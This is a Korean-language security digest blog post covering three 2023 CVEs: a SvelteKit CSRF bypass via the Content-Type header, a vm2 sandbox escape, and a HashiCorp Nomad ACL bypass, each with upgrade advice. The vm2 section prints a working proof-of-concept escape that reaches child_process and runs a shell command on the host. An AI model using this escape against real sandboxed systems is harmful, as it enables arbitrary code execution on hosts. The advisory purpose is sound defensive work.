메인 콘텐츠로 건너뛰기
블로그보안리노드 보안 다이제스트 2023년 4월 10일 - 4월 17일

리노드 보안 다이제스트, 2023년 4월 10일 - 4월 17일

리노드 시큐리티 다이제스트

이번 주 다이제스트에서는 다음에 대해 논의할 것입니다.

  • SvelteKit의 CSRF 보호 우회;
  • vm2 버전의 샌드박스 이스케이프; 그리고 
  • 해시코프 노마드 및 노마드 엔터프라이즈에 대한 인증되지 않은 ACL 인증 우회로 인해 권한 에스컬레이션이 발생했습니다.
CVE-2023-29003: 스벨트키트: 콘텐츠 유형 헤더를 사용한 CSRF 보호 우회

배경

SvelteKit은 Svelte JavaScript 라이브러리를 사용하여 웹 애플리케이션을 구축하기 위한 프레임워크입니다. 서버 측 렌더링, 라우팅, 파일 기반 페이지 라우팅과 같은 기능을 기본으로 제공하여 간소화된 개발 환경을 제공합니다.

취약성

취약점 CVE-2023-29003은 사이트 간 요청 위조(CSRF) 보호가 불충분하기 때문에 1.15.1 미만의 SvelteKit 버전에 영향을 미칩니다. SvelteKit 1.15.1 이전에는 세 가지 조건이 충족될 때 CSRF 보호가 실행되었습니다: (1) 요청이 POST이고, (2) 사이트 발신지와 요청의 발신지 HTTP 헤더가 일치하지 않으며, (3) 요청에 "application/x-www-form-urlencoded" 또는 "multipart/form-data"의 콘텐츠 유형 헤더로 표시되는 양식 콘텐츠가 포함되어 있는지 여부입니다. 

이러한 조건이 모두 충족되면 요청에 대한 403 금지 응답이 전송됩니다. 이 검사는 요청에 "텍스트/일반"과 같은 다른 콘텐츠 유형을 사용하여 우회할 수 있습니다.

완화

  • 이 취약점은 스벨트키트 버전 1.15.1에서 해결되었습니다. 이 문제를 해결하려면 최신 버전으로 업그레이드하는 것이 좋습니다.
CVE-2023-29199: vm2: 소스 코드 트랜스포머의 샌드박스 이스케이프

배경

vm2는 신뢰할 수 없는 코드를 안전하게 실행할 수 있는 샌드박스 환경을 제공하는 Node.js 모듈입니다. 공격자가 글로벌 컨텍스트나 민감한 데이터에 액세스하지 않고 신뢰할 수 없는 코드를 실행할 수 있는 격리된 실행 컨텍스트를 생성할 수 있습니다.

취약성

취약점은 vm2의 소스 코드 트랜스포머의 위생 로직의 예외에 의존합니다. 이 취약점을 통해 공격자는 handleException() 함수를 우회하고 위생 처리되지 않은 호스트 예외를 유출하여 공격자가 샌드박스를 탈출하고 호스트 컨텍스트에서 임의의 코드를 실행할 수 있는 문을 열 수 있습니다.

GitHub 사용자 leesh3288은 이 취약점을 악용하는 개념 증명을 수행했으며, 이는 호스트 컨텍스트에서 코드가 얼마나 쉽게 실행될 수 있는지를 보여줍니다:

const {VM} = require("vm2");
const vm = new VM();

const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (a$tmpname) {
    a$tmpname
        .constructor
        .constructor('return process')()
        .mainModule.require('child_process')
        .execSync('touch pwned');
}
`

console.log(vm.run(code));

완화

  • 이 취약점은 vm2 버전 3.9.16에서 해결되었습니다. 이 문제를 해결하려면 최신 버전으로 업그레이드하는 것이 좋습니다.
CVE-2023-1782: 해시코프 노매드: 인증되지 않은 ACL 우회 권한 에스컬레이션

배경

해시코프 노마드는 사용자가 데이터센터, 클라우드, 엣지 위치 등 다양한 환경에서 애플리케이션을 쉽게 배포하고 관리할 수 있도록 지원하는 컨테이너 오케스트레이션 플랫폼입니다. 자동화된 배포, 확장, 자가 복구와 같은 기능은 물론 여러 컨테이너 런타임과 스케줄링 알고리즘을 지원합니다.

취약성

취약점에 대한 구체적인 내용은 많지 않습니다. 하지만 연구자의 보고서에 따르면, 인증되지 않은 HTTP 요청은 내부 RPC를 통해 서버에서 요청이 처리될 때마다 의도된 ACL 권한을 우회할 수 있습니다. 이 취약점은 1.5.0 버전부터 1.5.2 버전까지 해시코프 노마드 및 해시코프 노마드 엔터프라이즈에 영향을 미칩니다.

완화

  • 이 취약점은 호스트 클러스터에서 mTLS를 활성화하여 해결할 수 있습니다.
  • 이 취약점은 해시코프 노매드 버전 1.5.3에서 해결되었습니다. 이 문제를 해결하려면 최신 버전으로 업그레이드하는 것이 좋습니다. 

내용

댓글 남기기

이메일 주소는 게시되지 않습니다. 필수 필드가 표시됩니다 *